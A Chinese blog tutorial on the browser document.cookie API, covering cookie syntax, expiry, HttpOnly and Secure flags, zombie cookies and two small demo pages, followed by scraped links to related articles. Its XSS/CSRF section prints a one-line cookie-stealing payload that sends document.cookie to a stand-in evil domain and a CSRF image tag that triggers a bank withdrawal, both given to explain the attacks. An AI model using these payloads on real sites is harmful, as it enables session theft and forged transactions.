web API简介(二):客户端储存之document.cookie API
概述
前篇:web API简介(一):API,Ajax和Fetch
客户端储存从某一方面来说和动态网站差不多。动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据。document.cookie API就是实现客户端储存的最原始方法。
Cookie介绍
cookies主要用来做如下事情:1.用户登录,购物车等会话控制。2.用户的偏好设定记录。3.记录和跟踪用户的行为。
cookies有很多问题。比如它的发送需要利用http请求,所以会有性能损耗;每种浏览器也有cookie条数限制,达到限制就会自动删除一些cookie;cookie还有很严重的安全问题。
cookies只有一个优点,就是它和老式的浏览器很兼容。0.0
Set Cookie
Set-Cookie: <cookie-name>=<cookie-value>
语法
//newCookie = "key=value"
document.cookie = newCookie;
还可以在后面添加这些信息:
(1)";path=path"
(2)";domain=domain"
(3)";max-age=max-age-in-seconds"
(4)";expires=date-in-GMTString-format"
Cookie的时效
如果没有写Expires或Max-Age,当浏览器关闭的时候Cookie会被删除。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
HttpOnly cookies
为了防止XSS(cross-site scripting)攻击,cookie可以加上Secure和HttpOnly,这样它就不能被Document.cookie API读取了。(这样就不能通过js获取用户的cookies)
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Xss和CSRF
XSS = cross-site scripting;CSRF = Cross-site request forgery。
下面是一个XSS盗取cookie的例子。执行代码会把用户的cookie发送给服务器。
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
下面是CSRF盗钱的例子(前提是用户在浏览器上面登录了账户并且他的cookie仍然有效)。当用户点击这个图片的时候,会被盗钱。
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
Zombie cookies
Zombie cookies = Evercookies。
这类cookies在被删除后会立刻重新建立,所以很难被删除。
相关方面的资料:Evercookie by Samy Kamkar和Zombie cookies on Wikipedia。
cookie操作实例
下面的代码拿到一个叫test2的cookie。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script>
document.cookie = "test1=Hello";
document.cookie = "test2=World";
var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
function alertCookieValue() {
var showCookie = document.getElementById("show_cookie");
showCookie.innerText = cookieValue;
};
</script>
</head>
<body>
<button onclick="alertCookieValue()">显示cookie</button>
<div id="show_cookie"></div>
</body>
</html>
Document
<script>
document.cookie = "test1=Hello";
document.cookie = "test2=World";
var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
function alertCookieValue() {
var showCookie = document.getElementById("show_cookie");
showCookie.innerText = cookieValue;
};
</script>
显示cookie
下面的代码使事情只做一次。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<script>
function doOnce() {
if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
document.getElementById("do_once").disabled = true;
document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
}
};
function resetOnce() {
document.getElementById("do_once").disabled = false;
document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
</script>
</head>
<body>
<button id="do_once" onclick="doOnce()">Only do something once</button>
<button onclick="resetOnce()">Reset only once cookie</button>
</body>
</html>
Document
<script>
function doOnce() {
if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
document.getElementById("do_once").disabled = true;
document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
}
};
function resetOnce() {
document.getElementById("do_once").disabled = false;
document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
</script>
Only do something once
Reset only once cookie
web API简介(二):客户端储存之document.cookie API的更多相关文章
- web API简介(三):客户端储存之Web Storage API
概述 前篇:web API简介(二):客户端储存之document.cookie API 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据. W ...
- SAP Web Service简介与配置方法
[版权声明]本文为博主原创文章,转载请在明显位置注明出处. 一. SAP Web Service简介 二. SAP Web Service配置准备工作 1. 通过RZ10配置服务器名称和其他参数 2. ...
- web API简介(四):客户端储存之IndexedDB API
概述 前篇:web API简介(三):客户端储存之Web Storage API 客户端储存从某一方面来说和动态网站差不多.动态网站是用服务端来储存数据,而客户端储存是用客户端来储存数据. Index ...
- web API简介(一):API,Ajax和Fetch
概述 今天逛MDN,无意中看到了web API简介,觉得挺有意思的,就认真读了一下. 下面是我在读的时候对感兴趣的东西的总结,供自己开发时参考,相信对其他人也有用. 什么是API API (Appli ...
- Redis总结(五)缓存雪崩和缓存穿透等问题 Web API系列(三)统一异常处理 C#总结(一)AutoResetEvent的使用介绍(用AutoResetEvent实现同步) C#总结(二)事件Event 介绍总结 C#总结(三)DataGridView增加全选列 Web API系列(二)接口安全和参数校验 RabbitMQ学习系列(六): RabbitMQ 高可用集群
Redis总结(五)缓存雪崩和缓存穿透等问题 前面讲过一些redis 缓存的使用和数据持久化.感兴趣的朋友可以看看之前的文章,http://www.cnblogs.com/zhangweizhon ...
- Web Api 简介
ASP.NET Web API 简介 ASP.NET MVC 4 包含了 ASP.NET Web API, 这是一个创建可以连接包括浏览器.移动设备等多种客户端的 Http 服务的新框架, ASP. ...
- API简介(二)
API简介(二) API简介(一)一文中,介绍了使用API的目的.设计.发行政策以及公共API的含义,本篇主要介绍API的用法,从库和框架.操作系统.远程API.Web API四个方面展开. 库和框架 ...
- amazeui学习笔记二(进阶开发2)--Web组件简介Web Component
amazeui学习笔记二(进阶开发2)--Web组件简介Web Component 一.总结 1.amaze ui:amaze ui是一个web 组件, 由模板(hbs).样式(LESS).交互(JS ...
- Web安全学习二
目录 常见漏洞攻防 SQL注入 注入分类 按技巧分类 按获取数据的方式分类 注入检测 权限提升 数据库检测 绕过技巧 CheatSheet SQL Server Payload MySQL Paylo ...
随机推荐
- Vue开源项目汇总(史上最全)(转)
目录 UI组件 开发框架 实用库 服务端 辅助工具 应用实例 Demo示例 UI组件 element ★13489 - 饿了么出品的Vue2的web UI工具套件 Vux ★8133 - 基于Vue和 ...
- Sql Server数据库之约束
一.约束的分类 实体约束:关于行的约束,比如某一行出现的值就不允许别的行出现,如主键 域约束:关于列的约束,对表中所有行的某些列进行约束,如check约束 参照完整性约束:如果某列的值必须与其他列的值 ...
- ArcGIS自定义工具箱-清空工作空间
ArcGIS自定义工具箱-清空工作空间 联系方式:谢老师,135-4855-4328,xiexiaokui#qq.com 目的:删除工作空间里的要素类,栅格和独立表 使用方法: 例如"C:\ ...
- Tomcat9 在Windows中配置允许远程访问
环境:Windows Server 2019 Data Center+Tomcat 9 Tomcat在Windows中安装好了之后,默认只能从本机以http://localhost:8080的方式访 ...
- 20162322 朱娅霖 作业011 Hash
20162322 2017-2018-1 <程序设计与数据结构>第十一周学习总结 教材学习内容总结 哈希方法 一.定义 哈希:次序--更具体来说是项在集合中的位置--由所保存元素值的某个函 ...
- Python练习-列表生成式-2018.11.30
#用列表生成式创建[1x1, 2x2, 3x3, ..., 10x10] print([x*x for x in range(1,11)]) #用列表生成式创建[2x2, 4x4,,6×6,..., ...
- 547. Friend Circles 求间接朋友形成的朋友圈数量
[抄题]: There are N students in a class. Some of them are friends, while some are not. Their friendshi ...
- node.js中express框架的基本使用
express是一个基于node.js平台的,快速,开放,极简的web开发框架. 一.安装 express npm install express --save 二.简单使用 express //引入 ...
- 查找 管道 exec
#查找150天为使用的文件并列出find -type f -mtime +150 -exec ls -ltr {} \;#查找150天内120外的文件find -type f -mtime -150 ...
- windows 性能监视器
转载地址:https://www.cnblogs.com/luo-mao/p/5872374.html